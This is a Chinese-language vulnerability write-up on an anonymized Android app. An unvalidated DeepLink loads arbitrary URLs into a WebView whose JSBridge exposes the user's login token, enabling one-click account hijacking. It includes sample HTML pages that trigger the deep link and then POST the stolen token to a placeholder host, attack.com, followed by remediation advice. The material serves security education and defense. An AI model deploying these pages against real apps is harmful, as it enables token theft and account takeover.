某APP组件存在权限漏洞可导致远程one click用户劫持
字数 1996 2025-09-23 19:27:38
Android DeepLink与JSBridge漏洞分析:远程One-Click用户劫持技术教学
0x00 前言
本教学文档基于某Android应用的权限漏洞分析,该漏洞可导致远程one-click用户劫持。目标应用为存在账号体系的Android App,通过分析发现其组件存在权限控制缺失问题。
0x01 漏洞发现过程
工具准备
- 反编译工具:apktool、dex2jar、jadx
- 推荐工具:TTDeDroid(GitHub开源项目,整合上述工具,处理版本兼容问题)
- 项目地址:https://github.com/tp7309/TTDeDroid
Android应用漏洞核心类型
- 数据安全漏洞
- 明文存储敏感信息
- 敏感日志泄漏
- 业务逻辑漏洞
- 与Web漏洞类似的业务缺陷
- 四大组件安全配置不当
- 导出Activity:允许其他应用启动,可能绕过认证
- 导出Service:其他应用可绑定或启动服务,执行未授权操作
- 导出Content Provider:可能泄露敏感数据或允许数据修改
- Intent劫持:未对接收Intent验证,导致恶意数据处理
深入挖掘:两大关键攻击面
1. DeepLink机制
DeepLink是Android系统中的特殊链接机制,允许应用响应特定URL格式,直接打开应用特定页面或执行操作。
示例配置:
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myapp" android:host="main" />
</intent-filter>
</activity>
通过浏览器打开 myapp://main 可启动MainActivity。
2. WebView安全风险
现代移动应用大量使用WebView,增加了安全风险概率。
漏洞发现关键点
关键DeepLink配置
发现host名称为"h5"的DeepLink配置,表明用于打开H5页面,意味着会启动WebView。
漏洞分析流程
- Activity跟踪:发现该Activity根据DeepLink携带的url参数使用WebView加载页面
- 安全缺陷:从获取url到加载WebView全过程未对url进行任何判断,仅限制file协议
- 攻击可能性:可通过DeepLink让应用WebView加载任意网站(包括恶意网页)
- JSBridge风险:WebView启用了JavaScript和JSBridge支持,可通过JS代码调用原生Android方法
JSBridge技术背景
JSBridge(JavaScript Bridge)实现Web页面(H5)与原生应用(Native)之间的双向通信,主要用于移动应用WebView中:
- JavaScript调用设备原生功能(摄像头、地理位置、文件系统等)
- 原生代码调用JavaScript函数传递数据或触发页面更新
功能验证
使用 target://h5?url=base64(www.baidu.com) 验证,在手机浏览器中打开后可跳转到百度页面,确认漏洞存在。
敏感方法发现
通过分析JSBridge注册方法,发现关键敏感方法:
- 方法功能:获取用户保存在Provider中的登录token
- 执行流程:通过回调方法调用WebView中的JS方法,将token传递回页面
0x02 完整利用链构建
攻击流程
- 创建恶意HTML文件:包含自动重定向代码,重定向到
target://h5?url=attack.com - 用户访问:用户访问包含自动重定向的恶意页面
- DeepLink触发:页面自动触发深度链接
target://h5?url=attack.com,启动目标应用Activity - 加载恶意页面:应用加载远程恶意页面
http://attack.com/m.html - JS执行:恶意页面执行JavaScript代码,通过JSBridge接口调用getToken方法
- 数据外泄:获取的敏感信息发送到攻击者控制服务器
http://attack/data
代码示例(简化)
重定向HTML页面:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Redirecting...</title>
<script>
// 自动重定向到恶意DeepLink
window.location.href = "target://h5?url=" + btoa("http://attack.com/m.html");
</script>
</head>
<body>
<p>Redirecting...</p>
</body>
</html>
恶意HTML页面(m.html):
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Loading...</title>
<script>
// 等待WebView初始化完成
setTimeout(function() {
// 调用JSBridge的getToken方法
if(typeof window.jsBridge !== 'undefined') {
window.jsBridge.getToken(function(token) {
// 将获取的token发送到攻击者服务器
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://attack.com/data", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("token=" + encodeURIComponent(token));
});
}
}, 2000);
</script>
</head>
<body>
<p>Page loading...</p>
</body>
</html>
0x03 修复建议
输入限制强化
- WebView URL限制
- 使用
shouldOverrideUrlLoading方法拦截与校验URL - 只允许加载特定可信域名
- 使用
JSBridge调用安全
- 执行环境验证
- 调用JSBridge时判断当前页面host
- 仅允许特定可信host执行敏感方法
综合防护措施
- 深度防御策略
- 组件导出权限最小化原则
- 对所有输入数据进行严格验证和过滤
- 敏感操作增加二次认证机制
- 定期进行安全审计和渗透测试
总结
本漏洞展示了DeepLink与JSBridge结合使用时可能产生的严重安全风险。通过不安全的DeepLink配置结合WebView的任意URL加载能力,攻击者可构造恶意页面调用敏感JSBridge方法,最终实现远程one-click用户账号劫持。开发人员应高度重视移动应用的URL处理机制和WebView安全配置。